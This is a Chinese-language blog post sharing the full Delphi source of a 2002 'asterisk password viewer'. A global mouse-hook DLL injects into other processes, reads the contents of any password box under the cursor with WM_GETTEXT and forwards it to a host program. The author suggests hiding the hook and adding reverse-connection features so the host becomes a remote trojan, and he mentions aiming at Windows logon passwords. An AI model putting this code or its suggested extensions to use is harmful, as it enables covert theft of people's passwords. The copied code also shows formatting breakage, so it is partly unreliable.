Windows文本框星号密码查看器

Windows文本框星号密码查看器

本人2002的学习作品

作者：成晓旭

1、  设计原理：注册一个系统级鼠标挂钩，通过监测系统鼠标所在Windows窗口来获取密码，成功获取密码之后，通过发送自定义的Windows系统消息，到宿主程序。

2、  Hook动态链接库设计原理：采用Windows Hook技术[鼠标挂钩]，切入远程进程内部，并监测当前系统鼠标所在位置的当然窗口句柄(通过Windows APIWindowFromPoint())，获取窗口句柄之后，判断当然窗口是否为文本框，并进一步判断是否为密码框，当发现是密码输入框时，当此窗口发送WM_GETTEXT消息，获取密码。成功获取密码之后，发现自定义的WM_COPYDATA消息到宿主程序；

具体实现步骤简介：

1．  设置系统鼠标挂钩：

        hkMouseHook := SetWindowsHookEx(WH_MOUSE,@CXX_MouseHookProc,hInstance,0);

2．  注销系统鼠标挂钩：

        UnHookWindowsHookEx(hkMouseHook);

3．  监测当然窗口及窗口风格判断：

        MousePos := pMhs.pt;

    wnd := WindowFromPoint(pmhs.pt);

    style := GetWindowLong(wnd,GWL_STYLE);

    if (style and ES_PASSWORD) = ES_PASSWORD then

    begin

            //发现密码窗口

    end;

4．  向密码框获取密码串：

        SendMessage(wnd,WM_GETTEXT,256,Integer(@MouseTitle[0]));

5．  发送自定义消息到宿主程序：

              GetMem(pmi,sizeof(TMouseInfo));

        pmi.MouseX := pt.X;

        pmi.MouseY := pt.Y;

        pmi.MouseTitle := pwd;

        GetMem(pcds,sizeof(TCopyDataStruct));

        pcds.dwData := 9910;

        pcds.cbData := sizeof(TMouseInfo);

        pcds.lpData := pmi;

        SendMessage(hDec,WM_COPYDATA,0,LPARAM(pcds));

3、  宿主程序设计原理：我的宿主程序是自己学习Windows SDK开发时作品，采用纯SDK实现。SDK的编程不用废话了吧。在这个工具程序中，只需要在系统消息处理方法中，增加一个对WM_COPYDATA的拦截及处理过程就可能了。

case uMsg of

    WM_COPYDATA:

    begin

        CXX_ReceiveCopyData(uMsg);

    end;

        ……

end;

4、  应用技术提点：这个是本人在2002年学习Microsoft Windows SDK编程技术时的学习作品。当然，有兴趣的话，你完全可以将其Hook进一步进行隐藏，并为其增加“端口反弹”或者“半连接”功能，宿主程序可以是自己的远程XXXXXX，哈哈，这样发布出来的话，想知道的东西就多了……

5、 完整源码代码：

1．  Hook鼠标挂钩部分：

   

... {
     产品名称：     Windows　密码工具[Window98/NT/2000/XP]
     功能描述：     截取Windows密码编辑框中的密码串
                    采用纯粹的SDK开发
                    能捕捉windows98/NT/2000/XP的密码框中的"＊"密码
     开发平台：     Windows2000 + Delphi6 + MSDN + SDK
     开发者：       成晓旭
     版权所有：     成晓旭
     模块设计者：   成晓旭
     设计思路：     采用Windows Hook技术[鼠标挂钩],切入远程进程内部,
                    再发送WM_GETTEXT消息截取密码,最后用SendMessage发送
                    WM_COPYDATA消息自定义的密码信息结构体到目标窗口,以
                    显示或处理Hook DLL所截取的远程进程的密码.
     开始时间：     2002年3月4日
     完成时间：     2002年5月24日[最终实现]
     备    注：     此工具是本人在2002年开发的第二个软件
                    本工具在2000年6月份左右曾实现过一个Windows98下的
                    密码截取工具,两年以来,我一直没有放弃过实现Windows
                    操作系统下的所有密码的截取,如此,终于实现了两年以来
                    未曾实现的截取WindowsNT系列的密码.[2002/05/24]
                    以后的路还很长:WindowNT系列的当前用户登录密码、
                    内存长驻的其它密码等等.
}
unit MouseHook;

interface
uses
    Messages,Windows; // ,SysUtils;

var

    hkMouseHook:HHook;
    ProcSafelyExit:Pointer;
    uCXXMsg:UINT;
    procedure   DllEntryProc(ul_reason_for_call:DWORD);
    procedure   SetupHook(fSet: boolean );stdcall;export;
    function    CXX_MouseHookProc(iCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;
    procedure   AutoUnInstallHook();far;

implementation

uses DataStruct;


procedure CXX_SendCopyData(pt:TPoint;pwd:TMTitle);
var
    pcds:PCopyDataStruct;
    pmi:PMouseInfo;
    hDec:THandle;
begin
    hDec: = Findwindow(Nil, ' WM_COPYDATA接收端 ' );
     if  hDec  =   0  then
    begin
        MessageBox( 0 , ' 数据接收窗口没有找到，程序拒绝发送WM_COPYDATA消息！ ' , ' 提示 ' ,MB_OK or MB_ICONWARNING);
        Exit;
    end;
     try
        GetMem(pmi,sizeof(TMouseInfo));
        pmi.MouseX : =  pt.X;
        pmi.MouseY : =  pt.Y;
        pmi.MouseTitle : =  pwd;
        GetMem(pcds,sizeof(TCopyDataStruct));
        pcds.dwData : =   9910 ;
        pcds.cbData : =  sizeof(TMouseInfo);
        pcds.lpData : =  pmi;
        SendMessage(hDec,WM_COPYDATA, 0 ,LPARAM(pcds));
         // PostMessage(hDec,WM_COPYDATA,Handle,LPARAM(pcds));
     finally
        FreeMem(pmi);
        FreeMem(pcds);
    end;
end;

function CXX_MouseHookProc(iCode:integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;
var
    pMhs:PMOUSEHOOKSTRUCT;
    wnd:HWND;
    style:LongInt;
    MousePos:TPoint;
    MouseTitle:TMTitle;
begin
     if  iCode  =  HC_ACTION then
    begin
        FillChar(MouseTitle, 255 , 0 );
        pMhs : =  PMOUSEHOOKSTRUCT(lParam);
        MousePos : =  pMhs.pt;
        wnd : =  WindowFromPoint(pmhs.pt);
        style : =  GetWindowLong(wnd,GWL_STYLE);
         if  (style and ES_PASSWORD)  =  ES_PASSWORD then
        begin
            SendMessage(wnd,WM_GETTEXT, 256 ,Integer(@MouseTitle[ 0 ]));
             // 发送截取的信息[]
            CXX_SendCopyData(MousePos,MouseTitle);
        end;
    end;
    Result : =  CallNextHookEx(hkMouseHook,iCode,wParam,lParam);
end;

procedure SetupHook(fSet: boolean );stdcall;export;
begin
     if  fSet then
    begin
         if  hkMouseHook  <>   0  then Exit;
            hkMouseHook : =  SetWindowsHookEx(WH_MOUSE,@CXX_MouseHookProc,hInstance, 0 );
         // if hkMouseHook <> 0 then
         //     MessageBox(0,'鼠标挂钩安装成功！！！','挂钩提示',MB_ICONINFORMATION or MB_OK)
         // else
         //     MessageBox(0,'鼠标挂钩安装失败！','挂钩提示',MB_ICONWARNING or MB_OK);
    end
     else
    begin
        if  hkMouseHook  <>   0  then
        begin
            UnHookWindowsHookEx(hkMouseHook);
            hkMouseHook : =   0 ;
             // if hkMouseHook = 0 then
             //     MessageBox(0,'鼠标挂钩撤消成功！！！','挂钩提示',MB_ICONINFORMATION or MB_OK)
             // else
             //     MessageBox(0,'鼠标挂钩撤消失败！','挂钩提示',MB_ICONWARNING or MB_OK);
        end;
    end;
end;

procedure   DllEntryProc(ul_reason_for_call:DWORD);
begin
... {
    if ul_reason_for_call = DLL_PROCESS_ATTACH then
    begin
        MessageBox(0,'DLL_PROCESS_ATTACH','MouseDll Hint',MB_OK or MB_ICONINFORMATION);
        //uCXXMsg := RegisterWindowMessage(SELF_MESSAGE_NAME);

    end
    else if ul_reason_for_call = DLL_PROCESS_DETACH then
    begin
        MessageBox(0,'DLL_PROCESS_DETACH','MouseDll Hint',MB_OK or MB_ICONINFORMATION);
    end;
    }
end;

procedure AutoUnInstallHook();
begin
      if  hkMouseHook  <>   0  then
          SetupHook(False);
     ExitProc : =  ProcSafelyExit;
end;

end.

 

 

2．  宿主程序部分：

 

此程序中，还有关于Windows程序资源加载以及窗口背景绘制等技术的演示。

 

... {
     产品名称：     Windows　密码工具
     功能描述：     截取Windows密码编辑框中的密码串
                    采用纯粹的SDK开发
     开发平台：     Windows2000 + Delphi6 + MSDN + SDK
     开发者：       成晓旭
     版权所有：     成晓旭
     模块设计者：   成晓旭
     开始时间：     2002年3月4日
     完成时间：     2002年3月4日
     修改时间1：    2002年3月4日
     备    注：     此工具是本人在2002年开发的第二个软件,
}

program MouseExe;
uses
  Windows,
  SysUtils,
  Messages,
  Tie_In_MHook in  ' Tie_In_MHook.pas ' ,
  DataStruct in  ' DataStruct.pas ' ;

... {$R MouseExe.res}
const
    CXX_WND_CLASS  =   ' DC_Password ' ;    // 主窗口类名
    CXX_WND_CAPTION  =   ' Window2000/XP 密码捕捉工具 ' ;
    CXX_PASSKEY  =   ' chenxiaoxu ' ;
    MOUSE_MOVE_TIMER  =  WM_USER  +   9910 ;
    SELF_MESSAGE_NAME  =   ' CXX_Test_Window_Message ' ;
var
    hWndMain,                // 程序主窗口句柄
    hBtnCheck,                // 程序发送按钮句柄
    hBtnClose,               // 程序关闭按钮句柄
    hStcPos,                // 鼠标位置提示
    hStcTitle,                // 窗口标题提示
    hEdtPos,                 // 鼠标当前位置
    hEdtTitle:                // 获取窗口标题
                LongWord;
    hInstMain:  integer;     // 程序实例句柄
    hBGBmp :    HBITMAP;     // 主窗口背景图片句柄
    hCur:       HICON;
    uCXXMsg:    UINT;
procedure CXX_SendCopyData();
var
    pcds:PCopyDataStruct;
    pmi:PMouseInfo;
    hDec:THandle;
begin
    hDec: = Findwindow(Nil, ' WM_COPYDATA接收端 ' );
     if  hDec  =   0  then
    begin
        MessageBox(hWndMain, ' 数据接收窗口没有找到，程序拒绝发送WM_COPYDATA消息！ ' , ' 提

示 ' ,MB_OK or MB_ICONWARNING);
        Exit;
    end;
     // try
        GetMem(pmi,sizeof(TMouseInfo));
        pmi.MouseX : =   10 ;
        pmi.MouseY : =   50 ;
        pmi.MouseTitle : =   ' chenxiaoxu ' ;
        GetMem(pcds,sizeof(TCopyDataStruct));
        pcds.dwData : =   9910 ;
        pcds.cbData : =  sizeof(TMouseInfo);
        pcds.lpData : =  pmi;
        SendMessage(hDec,WM_COPYDATA,hWndMain,LPARAM(pcds));
         // PostMessage(hDec,WM_COPYDATA,Handle,LPARAM(pcds));
     // finally
        FreeMem(pmi);
        FreeMem(pcds);
     // end;
end;
procedure CXX_ReceiveCopyData(Msg:TMessage);
var
    str:string;
begin
    str : =  IntToStr(PMouseInfo(PCOPYDATASTRUCT(Msg.LParam) ^ .lpData) ^ .MouseX);
    str : =  str  +  IntToStr(PMouseInfo(PCOPYDATASTRUCT(Msg.LParam) ^ .lpData) ^ .MouseY);
end;
// 绘制窗口位图背景函数
function CXX_DrawBGBitmap(fdc:HDC;fBitmap:HBitmap): boolean ;
var
    hdcMem:HDC;
    rect:TRect;
    bmp:Bitmap;
    x,y:integer;
begin
//     bmp := nil;
    Result : =  False;
     // 主窗口背景图片尚未加载，不能绘制窗口背景
     if  fBitmap  =   0  then Exit;
     // 获取绘图区域
    GetClientRect(hWndMain,rect);
     // 创建兼容内存设备描述表
    hdcMem : =  CreateCompatibleDC(fdc);
     if  hdcMem  =   0  then Exit;
     // 设置位图对象
     if  (GetObject(fBitmap,sizeof(Bitmap),@bmp)  =   0 ) then Exit;
     // 设置内存设备描述表内容
     if  NOT Boolean(SelectObject(hdcMem,fBitmap)) then Exit;
     // 绘制窗口背景图片
    x : =   0 ;
     while (x  <=  rect.Right - rect.Left)  do
    begin
        y : =   0 ;
         while (y  <=  rect.Bottom - rect.Top)  do
        begin
            BitBlt(fdc,x,y,bmp.bmWidth,bmp.bmHeight,hdcMem, 0 , 0 ,SRCCOPY);
            y : =  y  +  bmp.bmHeight;
        end;
        x : =  x  +  bmp.bmWidth;
    end;
    Result : =  DeleteDC(hdcMem);
end;

... {
 function CXX_SetWinCaption():设置窗口对象标题函数
 参数定义:
     hWnd:   窗口对象句柄
     pchText:窗口对象标题
}
procedure CXX_SetWinCaption(hWnd:hWND;pchText:PChar);
begin
    SendMessage(hWnd,WM_SETTEXT, 0 ,Integer(pchText));
     // SetWindowText(hWnd,pchText);
end;
... {
 function CXX_GetWinCaption():取得按钮标题函数
 参数定义:
     hWnd:   按钮句柄
     pchText:按钮标题
}
procedure CXX_GetWinCaption(hWnd:hWND;pchText:PChar);
begin
    SendMessage(hWnd,WM_GETTEXT, 255 ,Integer(pchText));
end;

procedure CXX_MouseMoveTimerProc(hWin:HWND;uMsg:UINT;idEvent:UINT;dwTime:DWORD);
begin
     // MessageBox(hWin,'系统时间','提示',0);
end;

function CXX_SetProgramTimer(fSetTimer: boolean ): boolean ;
begin
    Result : =  False;
     if  fSetTimer then
    begin
         // if SetTimer(hWndMain,MOUSE_MOVE_TIMER,3000,@CXX_MouseMoveTimerProc) <> 0 then
         if  SetTimer(hWndMain,MOUSE_MOVE_TIMER, 100 ,nil)  <>   0  then
            Result : =  True;
    end
     else
    begin
         if  KillTimer(hWndMain,MOUSE_MOVE_TIMER) then
            Result : =  True;
    end;
end;
// 主窗口消息回调函数
// function CXX_MainWindowProc(hWnd,uMsg,wParam,lParam:DWord):LRESULT;stdcall;
function CXX_MainWindowProc(hWnd:DWord;uMsg:TMessage;wParam,lParam:DWord):LRESULT;stdcall;
var
//     pchPassword:PCHAR;
    dc :HDC;
    ps:PAINTSTRUCT;
begin
... {
    if uMsg = uCXXMsg then
    begin
        MessageBox(hWnd,'自定义消息来了！！！','Hint',0);
        MessageBox(hWnd,PChar(lParam),'消息内容',0);
    end;
    }
     case  uMsg of
    WM_COPYDATA:
    begin
         // MessageBox(hWndMain,'窗口接收WM_COPYDATA消息！','提示',MB_OK or MB_ICONWARNING);
        CXX_ReceiveCopyData(uMsg);
    end;
    WM_CREATE:
    begin
        uCXXMsg : =  RegisterWindowMessage(SELF_MESSAGE_NAME);
    end;
    WM_RBUTTONDBLCLK:    // $0206
        PostQuitMessage( 0 );
    WM_COMMAND:          // $0111
    begin
         if  lParam  =  hBtnClose  then
        begin
             if  MessageBox(hWnd,PChar( ' 确定要退出【 ' + CXX_WND_CAPTION + ' 】吗？ ' ), ' 确

认 ' ,MB_YESNO or MB_ICONQUESTION) = IDYES then
                PostQuitMessage( 0 );
        end
         else   if  lParam  =  hBtnCheck then
        begin
             // CXX_SetProgramTimer(True);
             // PostMessage(HWND_BROADCAST,uCXXMsg,0,0);
             // SetupHook(True);
            CXX_SendCopyData();
        end;
    end;
    WM_PAINT:
    begin
        dc : =  BeginPaint(hWnd,ps);
            if  NOT CXX_DrawBGBitmap(dc,hBGBmp) then
            MessageBox(hWnd, ' 绘制主窗口背景失败呢！ ' , ' 提示 ' ,MB_OK or MB_ICONWARNING);
    end;
    WM_DESTROY:
    begin
         CXX_SetProgramTimer( false );
         Halt;    // $0002:
    end;
    end;     // End of Case
    Result : =  DefWindowProc(hWnd,uMsg,wParam,lParam);
end;

// 应用程序实例化
function CXX_InitInstance(): boolean ;
var
    wndClass:TWndClass;
begin
    hInstMain : =  hInstance;
    hCur : =  LoadCursor(hInstMain, ' HANDLE ' );
     if  hCur  =   0  then
        MessageBox(hWndMain, ' 加载主窗口背景图片失败！！！ ' , ' 提示 ' ,MB_OK or 

MB_ICONWARNING)
     else
        SetCursor(hCur);
    hBGBmp : =  LoadBitmap(hInstMain, ' BACKBMP ' );
     if  hBGBmp  =   0  then
        MessageBox(hWndMain, ' 加载主窗口背景图片失败！！！ ' , ' 提示 ' ,MB_OK or 

MB_ICONWARNING);
    wndClass.cbClsExtra : =   0 ;
    wndClass.cbWndExtra : =   0 ;
    wndClass.hInstance : =  hInstMain;
    wndClass.hIcon : =   0 ;
    wndClass.hCursor : =  LoadCursor( 0 ,IDC_HAND);
    wndClass.hbrBackground : =  CTLCOLOR_EDIT;
    wndClass.lpfnWndProc : =  @CXX_MainWindowProc;
    wndClass.lpszClassName : =  CXX_WND_CLASS;
    wndClass.lpszMenuName : =  nil;
    wndClass.style : =  CS_DBLCLKS;
    Result : =  Boolean(RegisterClassA(wndClass));
end;
// 主程序函数
procedure CXX_RunMainProgram();
var
    myMsg:TMsg;
begin
     if  NOT CXX_InitInstance() then
        Exit;
    hWndMain : =  CreateWindowEx(WS_EX_CLIENTEDGE or WS_EX_TOPMOST,
                        CXX_WND_CLASS,CXX_WND_CAPTION,
                        WS_VISIBLE or WS_SYSMENU or WS_MINIMIZEBOX,
                         0 , 0 , 320 , 150 , 0 , 0 ,hInstMain,nil);
    hStcPos : =  CreateWindowEx( 0 , ' static ' , ' 鼠标位置： ' ,
                        WS_VISIBLE OR WS_CHILD,
                         5 , 10 , 80 , 20 ,
                        hWndMain, 0 ,hInstMain,nil);
    hEdtPos : =  CreateWindowEx(WS_EX_CLIENTEDGE, ' Edit ' , '' ,
                        WS_VISIBLE OR WS_CHILD,
                         100 , 10 , 200 , 20 ,
                        hWndMain, 0 ,hInstMain,nil);
    hStcTitle : =  CreateWindowEx( 0 , ' static ' , ' 获取密码： ' ,
                        WS_VISIBLE OR WS_CHILD,
                         5 , 50 , 80 , 20 ,
                        hWndMain, 0 ,hInstMain,nil);
    hEdtTitle : =  CreateWindowEx(WS_EX_CLIENTEDGE, ' Edit ' , '' ,
                        WS_VISIBLE OR WS_CHILD,
                         100 , 50 , 200 , 20 ,
                        hWndMain, 0 ,hInstMain,nil);
    hBtnCheck : =  CreateWindowEx(WS_EX_STATICEDGE or WS_EX_CLIENTEDGE, ' Button ' , ' 发送消息 ' ,
                        WS_VISIBLE OR WS_CHILD,
                         10 , 85 , 100 , 30 ,
                        hWndMain, 0 ,hInstMain,nil);
    hBtnClose : =  CreateWindowEx(WS_EX_STATICEDGE or WS_EX_CLIENTEDGE, ' Button ' , ' 退出程序 ' ,
                        WS_VISIBLE OR WS_CHILD,
                         180 , 85 , 100 , 30 ,
                        hWndMain, 0 ,hInstMain,nil);
     // 主程序函数循环
     while (GetMessage(myMsg,hWndMain, 0 , 0 ))  do
    begin
        TranslateMessage(myMsg);
        DispatchMessage(myMsg);
    end;
end;

begin
    CXX_RunMainProgram();
end.